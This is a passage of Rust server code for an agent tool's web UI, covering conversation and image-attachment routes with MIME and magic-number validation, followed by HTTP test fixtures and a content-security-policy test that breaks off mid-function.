4348                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4349                if live.queued.get(&id).copied().unwrap_or(0) != observed {
4350                    continue;
4351                }
4352                turn.take()
4353                    .expect("held for the whole loop until released here")
4354                    .release(&mut live);
4355                break;
4356            }
4357            Err(e) => {
4358                tracing::warn!("talk {id} could not drain queued text: {e:#}");
4359                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4360                turn.take()
4361                    .expect("held for the whole loop until released here")
4362                    .release(&mut live);
4363                break;
4364            }
4365        };
4366        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4367            tracing::warn!("talk {id} turn failed: {e:#}");
4368        }
4369    }
4370}
4371
4372/// Clear a queued draft only if it remains exactly the one the caller saw.
4373async fn talk_pending_clear(
4374    State(ui): State<Arc<Ui>>,
4375    Path(id): Path<String>,
4376    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4377) -> ApiResult<Json<TalkView>> {
4378    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4379    blocking(move || {
4380        let id = resolve_talk(&ui.talks, &id)?;
4381        let mut talk = ui.talks.get(&id)?;
4382        if !talk.status.open() {
4383            return Err(ApiError::conflict(format!(
4384                "talk {} is {} and takes no more turns",
4385                talk.short(),
4386                talk.status.as_str()
4387            )));
4388        }
4389        if !talk::clear_pending_if_matches(
4390            &mut talk,
4391            &ui.talks,
4392            &body.expected_text,
4393            &body.expected_attachments,
4394        )? {
4395            return Err(ApiError::conflict(
4396                "queued message changed; reload it before clearing",
4397            ));
4398        }
4399        let thinking = ui.is_thinking(&talk.id);
4400        Ok(Json(TalkView::new(talk, thinking)))
4401    })
4402    .await
4403}
4404
4405/// Atomically edit a queued draft's text while preserving its attachments.
4406/// The snapshot fields make a concurrent queue or drain a conflict rather
4407/// than silently discarding either message.
4408async fn talk_pending_edit(
4409    State(ui): State<Arc<Ui>>,
4410    Path(id): Path<String>,
4411    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4412) -> ApiResult<Json<TalkView>> {
4413    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4414    let (view, reclaimed) = blocking({
4415        let ui = Arc::clone(&ui);
4416        move || {
4417            let id = resolve_talk(&ui.talks, &id)?;
4418            let mut talk = ui.talks.get(&id)?;
4419            if !talk.status.open() {
4420                return Err(ApiError::conflict(format!(
4421                    "talk {} is {} and takes no more turns",
4422                    talk.short(),
4423                    talk.status.as_str()
4424                )));
4425            }
4426            if !talk::edit_pending_text(
4427                &mut talk,
4428                &ui.talks,
4429                &body.text,
4430                &body.expected_text,
4431                &body.expected_attachments,
4432            )? {
4433                return Err(ApiError::conflict(
4434                    "queued message changed; reload it before editing",
4435                ));
4436            }
4437            let claim = match ui.begin_queued_talk_turn(&id)? {
4438                Some(turn_guard) => {
4439                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4440                    Some((talk.clone(), cfg, id.clone(), turn_guard))
4441                }
4442                None => None,
4443            };
4444            let thinking = ui.is_thinking(&id);
4445            Ok((TalkView::new(talk, thinking), claim))
4446        }
4447    })
4448    .await?;
4449    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4450        let talks = ui.talks.clone();
4451        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4452    }
4453    Ok(Json(view))
4454}
4455
4456/// `POST /api/talks/{id}/close`.
4457async fn talk_close(
4458    State(ui): State<Arc<Ui>>,
4459    Path(id): Path<String>,
4460) -> ApiResult<Json<TalkView>> {
4461    blocking(move || {
4462        let id = resolve_talk(&ui.talks, &id)?;
4463        let mut talk = ui.talks.get(&id)?;
4464        talk::close(&mut talk, &ui.talks)?;
4465        let thinking = ui.is_thinking(&talk.id);
4466        Ok(Json(TalkView::new(talk, thinking)))
4467    })
4468    .await
4469}
4470
4471/// `POST /api/talks/{id}/reopen`.
4472async fn talk_reopen(
4473    State(ui): State<Arc<Ui>>,
4474    Path(id): Path<String>,
4475) -> ApiResult<Json<TalkView>> {
4476    blocking(move || {
4477        let id = resolve_talk(&ui.talks, &id)?;
4478        let mut talk = ui.talks.get(&id)?;
4479        talk::reopen(&mut talk, &ui.talks)?;
4480        let thinking = ui.is_thinking(&talk.id);
4481        Ok(Json(TalkView::new(talk, thinking)))
4482    })
4483    .await
4484}
4485
4486/// `DELETE /api/talks/{id}`.
4487///
4488/// Removes the conversation's record and artifacts outright, unlike
4489/// [`talk_close`] which keeps the record as history. A turn already in
4490/// flight is not refused here the way [`run_delete`] refuses a live run:
4491/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
4492/// under [`Talks::guard`], that the record they are about to write back is
4493/// still there, so a delete racing a turn is safe without this route having
4494/// to know a turn is running at all.
4495async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4496    blocking(move || {
4497        let id = resolve_talk(&ui.talks, &id)?;
4498        ui.talks.remove(&id)?;
4499        Ok(StatusCode::NO_CONTENT)
4500    })
4501    .await
4502}
4503
4504/// Expand an id or short id to exactly one talk id.
4505fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4506    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4507}
4508
4509/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
4510/// future `talk-say`.
4511async fn talk_attachment_post(
4512    State(ui): State<Arc<Ui>>,
4513    Path(id): Path<String>,
4514    headers: HeaderMap,
4515    body: Bytes,
4516) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4517    let mime = validate_attachment(&headers, &body)?;
4518    let name = filename_header(&headers);
4519    let data = body.to_vec();
4520    blocking(move || {
4521        let id = resolve_talk(&ui.talks, &id)?;
4522        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4523        Ok((StatusCode::CREATED, Json(att)))
4524    })
4525    .await
4526}
4527
4528/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
4529/// `<img>` tag in the transcript.
4530async fn talk_attachment_get(
4531    State(ui): State<Arc<Ui>>,
4532    Path((id, att)): Path<(String, String)>,
4533) -> ApiResult<Response> {
4534    blocking(move || {
4535        let id = resolve_talk(&ui.talks, &id)?;
4536        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4537            return Err(ApiError::not_found(format!(
4538                "talk {id} has no attachment `{att}`"
4539            )));
4540        };
4541        Ok(attachment_response(&meta.mime, data))
4542    })
4543    .await
4544}
4545
4546/// Validate an attachment upload's declared `Content-Type` and the bytes
4547/// themselves, returning the canonical mime on success.
4548///
4549/// Two checks, both required: the header has to name one of
4550/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
4551/// simply never in the list, active content rather than a picture, the same
4552/// exclusion [`asset_content_type`]'s doc explains), and the file's own
4553/// magic number has to agree. The second is what stops a mislabeled upload -
4554/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
4555/// a declared type is a claim, not a fact, so it is never trusted alone.
4556fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4557    if data.len() > ATTACHMENT_MAX_BYTES {
4558        return Err(ApiError::bad_request(format!(
4559            "attachment is {} bytes, over the {} MiB limit",
4560            data.len(),
4561            ATTACHMENT_MAX_BYTES / (1024 * 1024)
4562        ))
4563        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4564    }
4565    if data.is_empty() {
4566        return Err(ApiError::bad_request("attachment is empty"));
4567    }
4568    let declared = declared_mime(headers)?;
4569    match sniffed_mime(data) {
4570        Some(sniffed) if sniffed == declared => Ok(declared),
4571        Some(sniffed) => Err(ApiError::bad_request(format!(
4572            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4573        ))),
4574        None => Err(ApiError::bad_request(
4575            "the file's bytes do not match any accepted image format",
4576        )),
4577    }
4578}
4579
4580/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
4581/// and nothing else - parameters like `; charset=` are stripped, but the
4582/// value itself is not otherwise interpreted.
4583fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4584    let raw = headers
4585        .get(header::CONTENT_TYPE)
4586        .and_then(|v| v.to_str().ok())
4587        .unwrap_or("")
4588        .split(';')
4589        .next()
4590        .unwrap_or("")
4591        .trim()
4592        .to_ascii_lowercase();
4593    ATTACHMENT_MIME_WHITELIST
4594        .iter()
4595        .find(|&&m| m == raw)
4596        .copied()
4597        .ok_or_else(|| {
4598            if raw == "image/svg+xml" {
4599                ApiError::bad_request(
4600                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
4601                     not just a picture",
4602                )
4603            } else if raw.is_empty() {
4604                ApiError::bad_request("Content-Type is required for an attachment upload")
4605            } else {
4606                ApiError::bad_request(format!(
4607                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4608                     image/gif or image/webp"
4609                ))
4610            }
4611        })
4612}
4613
4614/// Identify an image by its magic number, independent of whatever
4615/// `Content-Type` claimed.
4616fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4617    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4618        Some("image/png")
4619    } else if data.starts_with(b"\xff\xd8\xff") {
4620        Some("image/jpeg")
4621    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4622        Some("image/gif")
4623    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4624        Some("image/webp")
4625    } else {
4626        None
4627    }
4628}
4629
4630/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
4631/// display - see [`talk::Attachment::name`]'s doc on why it never
4632/// contributes to a path. A missing or blank header (curl without it, an
4633/// older front end) falls back to a generic name rather than refusing the
4634/// upload over a field that is cosmetic.
4635fn filename_header(headers: &HeaderMap) -> String {
4636    headers
4637        .get(FILENAME_HEADER)
4638        .and_then(|v| v.to_str().ok())
4639        .map(str::trim)
4640        .filter(|s| !s.is_empty())
4641        .unwrap_or("attachment")
4642        .to_owned()
4643}
4644
4645/// Every attachment `GET` response: the mime re-validated against the same
4646/// closed whitelist the upload route enforces - never the string trusted
4647/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
4648/// cannot decide it knows better than the type we send. Unlike a panel asset
4649/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
4650/// document renders inline, not agent-authored HTML in a sandboxed frame.
4651fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4652    let content_type = ATTACHMENT_MIME_WHITELIST
4653        .iter()
4654        .find(|&&m| m == mime)
4655        .copied()
4656        .unwrap_or("application/octet-stream");
4657    (
4658        [
4659            (header::CONTENT_TYPE, content_type),
4660            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4661        ],
4662        body,
4663    )
4664        .into_response()
4665}
4666
4667/// The configuration for a repository, read off the disk for this request.
4668///
4669/// Through [`blocking`] because discovery reads and merges several TOML files,
4670/// and because the alternative - caching it in [`Ui`] at startup - would mean
4671/// the operator's phone kept interviewing with a roster they had already
4672/// changed, with no way to reload it but restarting the server they are not
4673/// sitting in front of.
4674async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4675    let repo = repo.to_path_buf();
4676    blocking(move || {
4677        let (cfg, _) = Config::discover(&repo, None)?;
4678        Ok(cfg)
4679    })
4680    .await
4681}
4682
4683/// The one prefix rule, used for both runs and tasks: a leading match for a
4684/// full id, a trailing match for the short form an operator reads off a
4685/// report. Written here rather than borrowed from `queue::resolve_id` because
4686/// the UI needs the two failures as different status codes, and telling them
4687/// apart from an error message is not something to build a route on.
4688fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4689    let mut hits = ids
4690        .into_iter()
4691        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4692    match (hits.next(), hits.next()) {
4693        (Some(one), None) => Ok(one),
4694        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4695        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4696            "`{prefix}` matches more than one {what}, including {a} and {b}"
4697        ))),
4698    }
4699}
4700
4701#[cfg(test)]
4702mod tests {
4703    use pretty_assertions::assert_eq;
4704    use serde_json::Value;
4705    use tempfile::TempDir;
4706    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4707
4708    use super::*;
4709    use crate::config::Config;
4710    use crate::queue::{Source, TaskStatus};
4711
4712    /// How many 10ms steps a settle loop takes before it calls a stall a
4713    /// stall - thirty seconds.
4714    ///
4715    /// These loops wait on real `sh` subprocesses, and the machine that runs
4716    /// the gate runs several suites at once, so a two-second budget was not
4717    /// waiting for the reply, it was racing the scheduler: two of these
4718    /// tests failed under that load with the turn simply not landed yet.
4719    /// This is a hang guard, not a latency assertion - every loop breaks the
4720    /// moment its condition holds, so a generous cap costs an idle machine
4721    /// nothing and still fails a genuine hang instead of hanging the suite.
4722    const SETTLE_STEPS: usize = 3_000;
4723
4724    /// A home with a queue and a runs directory, and a router serving it on
4725    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
4726    /// dependency, not ours - so the tests drive a real socket, which has the
4727    /// side benefit of asserting the status line and content types the phone
4728    /// actually receives.
4729    struct Fixture {
4730        home: TempDir,
4731        addr: SocketAddr,
4732    }
4733
4734    impl Fixture {
4735        async fn start() -> Self {
4736            Self::with_loop(launch_idle).await
4737        }
4738
4739        /// A fixture whose loop is `launch`.
4740        async fn with_loop(launch: Launch) -> Self {
4741            let home = TempDir::new().expect("temp home");
4742            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4743            Self { home, addr }
4744        }
4745
4746        /// A fixture whose `ui.repo` is a real directory rather than the
4747        /// usual placeholder - for the routes that read config off it
4748        /// (`GET /api/repos`) and would otherwise have nothing to discover.
4749        async fn with_repo(repo: PathBuf) -> Self {
4750            let home = TempDir::new().expect("temp home");
4751            let addr = Self::serve(home.path(), repo, launch_idle).await;
4752            Self { home, addr }
4753        }
4754
4755        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4756            let queue = Queue::at(home.join("queue"));
4757            let runs = home.join("runs");
4758            std::fs::create_dir_all(&runs).expect("runs dir");
4759            let worktrees = home.join("wt").join("magi");
4760            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4761            let ui = Ui::new(
4762                queue,
4763                Questions::at(home.join("questions")),
4764                Talks::at(home.join("talks")),
4765                runs,
4766                home.to_path_buf(),
4767                repo,
4768            )
4769            .with_worktrees_root(worktrees)
4770            .with_launch(launch);
4771            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4772                .await
4773                .expect("bind loopback");
4774            let addr = listener.local_addr().expect("local addr");
4775            tokio::spawn(async move {
4776                let _ = axum::serve(listener, ui.router()).await;
4777            });
4778            addr
4779        }
4780
4781        fn queue(&self) -> Queue {
4782            Queue::at(self.home.path().join("queue"))
4783        }
4784
4785        fn questions(&self) -> Questions {
4786            Questions::at(self.home.path().join("questions"))
4787        }
4788
4789        fn talks(&self) -> Talks {
4790            Talks::at(self.home.path().join("talks"))
4791        }
4792
4793        fn runs(&self) -> PathBuf {
4794            self.home.path().join("runs")
4795        }
4796
4797        async fn get(&self, path: &str) -> Res {
4798            request(self.addr, "GET", path, None).await
4799        }
4800
4801        /// The status and headers without the body, which is how the front end
4802        /// preflights a panel: a sandboxed frame is opaque to the parent
4803        /// document, so the only way to tell "no panel" from "a panel that
4804        /// rendered blank" is to ask before mounting.
4805        async fn head(&self, path: &str) -> Res {
4806            request(self.addr, "HEAD", path, None).await
4807        }
4808
4809        async fn post(&self, path: &str, body: Option<&str>) -> Res {
4810            request(self.addr, "POST", path, body).await
4811        }
4812
4813        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4814            request_with(self.addr, "GET", path, None, extra).await
4815        }
4816
4817        async fn delete(&self, path: &str) -> Res {
4818            request(self.addr, "DELETE", path, None).await
4819        }
4820
4821        /// `POST` a raw body with its own headers - see [`request_bytes`].
4822        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4823            request_bytes(self.addr, path, headers, body).await
4824        }
4825    }
4826
4827    struct Res {
4828        status: u16,
4829        headers: String,
4830        /// The header block with its original casing, for the assertions that
4831        /// compare a header *value* rather than looking for a name. Lowercasing
4832        /// a CSP would hide a directive spelled with a capital letter, and the
4833        /// whole point of that test is that the string is exactly right.
4834        head: String,
4835        body: String,
4836        /// The body before any UTF-8 handling, for the routes that serve
4837        /// something other than text. A panel asset is a PNG as often as not,
4838        /// and `from_utf8_lossy` would silently replace half of it.
4839        bytes: Vec<u8>,
4840    }
4841
4842    impl Res {
4843        fn json(&self) -> Value {
4844            serde_json::from_str(&self.body)
4845                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4846        }
4847
4848        /// One header's value verbatim, or `None` when it was not sent.
4849        fn header(&self, name: &str) -> Option<&str> {
4850            self.head.lines().find_map(|line| {
4851                let (key, value) = line.split_once(':')?;
4852                key.trim()
4853                    .eq_ignore_ascii_case(name)
4854                    .then(|| value.trim_start().trim_end_matches('\r'))
4855            })
4856        }
4857    }
4858
4859    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
4860    /// be read to end-of-stream without parsing framing.
4861    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4862        request_with(addr, method, path, body, &[]).await
4863    }
4864
4865    /// As [`request`], with extra request headers - conditional GETs need
4866    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
4867    /// worse than one that sets none.
4868    async fn request_with(
4869        addr: SocketAddr,
4870        method: &str,
4871        path: &str,
4872        body: Option<&str>,
4873        extra: &[(&str, &str)],
4874    ) -> Res {
4875        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4876        for (name, value) in extra {
4877            head.push_str(&format!("{name}: {value}\r\n"));
4878        }
4879        if let Some(body) = body {
4880            head.push_str("Content-Type: application/json\r\n");
4881            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4882        }
4883        head.push_str("\r\n");
4884        if let Some(body) = body {
4885            head.push_str(body);
4886        }
4887        let mut socket = tokio::net::TcpStream::connect(addr)
4888            .await
4889            .expect("connect to the test server");
4890        socket
4891            .write_all(head.as_bytes())
4892            .await
4893            .expect("write request");
4894        let mut raw = Vec::new();
4895        socket.read_to_end(&mut raw).await.expect("read response");
4896        // Split on the raw bytes rather than on a lossy string, so a binary
4897        // body survives to be compared byte for byte.
4898        let split = raw
4899            .windows(4)
4900            .position(|w| w == b"\r\n\r\n")
4901            .expect("a header block");
4902        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4903        let bytes = raw[split + 4..].to_vec();
4904        let status = head
4905            .lines()
4906            .next()
4907            .and_then(|line| line.split_whitespace().nth(1))
4908            .and_then(|code| code.parse().ok())
4909            .expect("a status line");
4910        Res {
4911            status,
4912            headers: head.to_lowercase(),
4913            head,
4914            body: String::from_utf8_lossy(&bytes).into_owned(),
4915            bytes,
4916        }
4917    }
4918
4919    /// A `POST` carrying a raw binary body and its own headers, for the
4920    /// attachment upload route - `request_with` only ever sends
4921    /// `Content-Type: application/json`, which is wrong for an image and
4922    /// would corrupt anything not valid UTF-8 by round-tripping it through
4923    /// `&str` first.
4924    async fn request_bytes(
4925        addr: SocketAddr,
4926        path: &str,
4927        headers: &[(&str, &str)],
4928        body: &[u8],
4929    ) -> Res {
4930        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4931        for (name, value) in headers {
4932            head.push_str(&format!("{name}: {value}\r\n"));
4933        }
4934        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4935        let mut socket = tokio::net::TcpStream::connect(addr)
4936            .await
4937            .expect("connect to the test server");
4938        socket
4939            .write_all(head.as_bytes())
4940            .await
4941            .expect("write request head");
4942        socket.write_all(body).await.expect("write request body");
4943        let mut raw = Vec::new();
4944        socket.read_to_end(&mut raw).await.expect("read response");
4945        let split = raw
4946            .windows(4)
4947            .position(|w| w == b"\r\n\r\n")
4948            .expect("a header block");
4949        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4950        let bytes = raw[split + 4..].to_vec();
4951        let status = head
4952            .lines()
4953            .next()
4954            .and_then(|line| line.split_whitespace().nth(1))
4955            .and_then(|code| code.parse().ok())
4956            .expect("a status line");
4957        Res {
4958            status,
4959            headers: head.to_lowercase(),
4960            head,
4961            body: String::from_utf8_lossy(&bytes).into_owned(),
4962            bytes,
4963        }
4964    }
4965
4966    /// A run on disk, without touching the process-global magi home.
4967    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4968        let mut state = RunState::new(
4969            PathBuf::from("/repo/magi"),
4970            "main".to_owned(),
4971            "0123456789abcdef".to_owned(),
4972            "Add a web UI\n\nMobile first.".to_owned(),
4973            Config::default(),
4974        );
4975        state.id = id.to_owned();
4976        state.status = status;
4977        let dir = runs.join(id);
4978        std::fs::create_dir_all(&dir).expect("run dir");
4979        std::fs::write(
4980            dir.join("run.json"),
4981            serde_json::to_string_pretty(&state).expect("serialize run"),
4982        )
4983        .expect("write run.json");
4984    }
4985
4986    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4987        let body = serde_json::json!({
4988            "schema": 1,
4989            "pid": 4242,
4990            "started_at": Timestamp::now().to_string(),
4991            "updated_at": updated_at.to_string(),
4992            "idle": false,
4993            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4994            "completed": 7,
4995            "polls": 143,
4996        });
4997        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4998    }
4999
5000    /// A loop that starts, finds nothing to do, and waits to be told to stop.
5001    ///
5002    /// No test in this file may start the real loop - see [`Ui::launch`] for
5003    /// why - so this stands in for the only thing the routes need a loop to
5004    /// do: keep running until `Stop` is set, then return. A real
5005    /// `serve_until` here would resolve its queue and its status file through
5006    /// the process-global magi home, claim whatever it found in the
5007    /// operator's live backlog, overwrite the status file of the `magi serve`
5008    /// that owns it, and spend real agent quota on a real competition.
5009    fn launch_idle(
5010        _opts: daemon::Opts,
5011        stop: daemon::Stop,
5012    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5013        Box::pin(async move {
5014            while !stop.stopped() {
5015                tokio::time::sleep(Duration::from_millis(2)).await;
5016            }
5017            Ok(())
5018        })
5019    }
5020
5021    /// A loop that fails on the way up, the way one whose home has gone
5022    /// read-only does.
5023    fn launch_broken(
5024        _opts: daemon::Opts,
5025        _stop: daemon::Stop,
5026    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5027        Box::pin(async {
5028            Err(anyhow::anyhow!(
5029                "publish the daemon status file: read-only file system"
5030            ))
5031        })
5032    }
5033
5034    /// The address the parking loop knocks on, and what it heard there.
5035    ///
5036    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
5037    /// capture a fixture's address; this is how it is handed one. Only
5038    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
5039    /// these, so nothing else in this binary can race them.
5040    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5041    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5042
5043    /// A loop that, once it is asked to stop, checks the deck still answers
5044    /// before it goes.
5045    ///
5046    /// It stands in for a run mid-node: `finish_loop` waits for this future,
5047    /// so the request it makes is strictly inside the park window - no sleep
5048    /// and no polling needed to be sure of that.
5049    fn launch_knocking_on_the_way_out(
5050        _opts: daemon::Opts,
5051        stop: daemon::Stop,
5052    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5053        Box::pin(async move {
5054            while !stop.stopped() {
5055                tokio::time::sleep(Duration::from_millis(2)).await;
5056            }
5057            let addr = PARK_KNOCK
5058                .lock()
5059                .expect("park knock")
5060                .expect("the test set an address");
5061            let heard = request(addr, "GET", "/api/health", None).await.status;
5062            *PARK_HEARD.lock().expect("park heard") = Some(heard);
5063            Ok(())
5064        })
5065    }
5066
5067    /// The loop view once `want` accepts it.
5068    ///
5069    /// Polled rather than asserted straight after the POST because stopping
5070    /// is deliberately not instant - that is the contract - and rather than
5071    /// slept through because a fixed wait is either flaky or slow.
5072    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
5073    /// finite, so a genuine hang fails the test instead of hanging the
5074    /// suite.
5075    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5076        for _ in 0..SETTLE_STEPS {
5077            let view = fx.get("/api/loop").await.json();
5078            if want(&view) {
5079                return view;
5080            }
5081            tokio::time::sleep(Duration::from_millis(10)).await;
5082        }
5083        panic!(
5084            "the loop never settled: {}",
5085            fx.get("/api/loop").await.json()
5086        );
5087    }
5088
5089    /// File an open question directly in the store the server reads.
5090    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5091        let store = fx.questions();
5092        let mut q = Question::new(
5093            "20260902-000000-beef".to_owned(),
5094            "implement".to_owned(),
5095            "impl-A".to_owned(),
5096            summary.to_owned(),
5097            "because it matters".to_owned(),
5098            choices.iter().map(|c| (*c).to_owned()).collect(),
5099        );
5100        store.put(&mut q).expect("put question");
5101        q.id
5102    }
5103
5104    /// A question with a panel the server can serve, plus the named assets.
5105    ///
5106    /// Written through `Questions::put_panel` rather than by laying out the
5107    /// directory here, so these tests exercise the same on-disk shape the
5108    /// agents produce and cannot pass against a layout only the tests know.
5109    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5110        let store = fx.questions();
5111        let mut q = Question::new(
5112            "20260902-000000-beef".to_owned(),
5113            "land".to_owned(),
5114            "fix".to_owned(),
5115            "Merge this?".to_owned(),
5116            "the diff is in the panel".to_owned(),
5117            vec!["merge".to_owned(), "hold".to_owned()],
5118        );
5119        // Staged outside the questions root, because `put_panel` copies from
5120        // wherever the agent left its files.
5121        let staging = fx.home.path().join("staging");
5122        std::fs::create_dir_all(&staging).expect("staging dir");
5123        let sources: Vec<PathBuf> = assets
5124            .iter()
5125            .map(|(name, bytes)| {
5126                let path = staging.join(name);
5127                std::fs::write(&path, bytes).expect("write staged asset");
5128                path
5129            })
5130            .collect();
5131        store
5132            .put_panel(&mut q, html, &sources)
5133            .expect("write the panel");
5134        store.put(&mut q).expect("put question");
5135        q.id
5136    }
5137
5138    /// A talk on disk, without talking to a model.
5139    ///
5140    /// Written as JSON straight into the store the server reads, because the
5141    /// only constructor `talk::begin` offers takes no turn but still requires
5142    /// a real caller-visible flow. The one thing this cannot make up is the
5143    /// seat, so it is built with the real `SeatState::new` and serialized -
5144    /// the alternative, hand-writing that object, would make these tests fail
5145    /// the day the seat gains a field.
5146    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5147        let store = fx.talks();
5148        std::fs::create_dir_all(store.root()).expect("talks dir");
5149        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5150            .expect("serialize a seat");
5151        let body = serde_json::json!({
5152            "schema": 1,
5153            "id": id,
5154            "repo": "/repo/magi",
5155            "agent": "mock",
5156            "status": status,
5157            "turns": [],
5158            "created_at": Timestamp::now().to_string(),
5159            "updated_at": Timestamp::now().to_string(),
5160            "seat": seat,
5161        });
5162        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5163        store.get(id).expect("the seeded talk has to be readable");
5164        id.to_owned()
5165    }
5166
5167    #[tokio::test]
5168    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5169        let fx = Fixture::start().await;
5170        let id = panel(
5171            &fx,
5172            "<h1>Merge?</h1><img src=\"diff.svg\">",
5173            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5174        );
5175
5176        for path in [
5177            format!("/api/questions/{id}/panel"),
5178            format!("/api/questions/{id}/asset/diff.svg"),
5179        ] {
5180            let res = fx.get(&path).await;
5181            assert_eq!(res.status, 200, "{path}: {}", res.body);
5182            // The whole string, not a substring. A weakened directive - an
5183            // `img-src *` that lets a panel beacon out to a remote host, a
5184            // `script-src` anything, a missing `form-action` that lets it post
5185            // the owner's decision to a third party - has to fail here, and a
5186            // `contains` assertion would let every one of those through.
5187            assert_eq!(
5188                res.header("content-security-policy"),
5189                Some(
5190                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5191                     font-src data:; base-uri 'none'; form-action 'none'; \
5192                     frame-ancestors 'self'"
5193                ),
5194                "{path} is the only thing between a hostile panel and the tailnet"
5195            );
5196            assert_eq!(
5197                res.header("x-content-type-options"),
5198                Some("nosniff"),
5199                "{path}: a browser must not re-decide the type we sent"
5200            );
5201            assert_eq!(
5202                res.header("referrer-policy"),
5203                Some("no-referrer"),
5204                "{path}: a panel must not leak the question id off the machine"
5205            );
5206
5207            // The front end mounts the frame only after a `HEAD` says the
5208            // panel is there, so `HEAD` has to answer with the same status and
5209            // the same policy as `GET` - a preflight that came back without
5210            // the CSP would mean a frame mounted on an unverified promise.
5211            let pre = fx.head(&path).await;
5212            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5213            assert_eq!(
5214                pre.header("content-security-policy"),
5215                res.header("content-security-policy"),
5216                "{path}: the preflight carries the same policy"
5217            );
5218            assert_eq!(
5219                pre.header("content-type"),
5220                res.header("content-type"),
5221                "{path}: the preflight carries the same type"
5222            );
5223        }
5224    }
5225
5226    #[tokio::test]
5227    async fn a_panel_reaches_the_browser_byte_for_byte() {
5228        let fx = Fixture::start().await;
5229        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
5230        // tag, an entity, and a multi-byte character. The sandbox is what makes
5231        // this safe, so nothing here may be rewritten on the way out - a
5232        // rewritten diff is a diff the owner cannot trust.
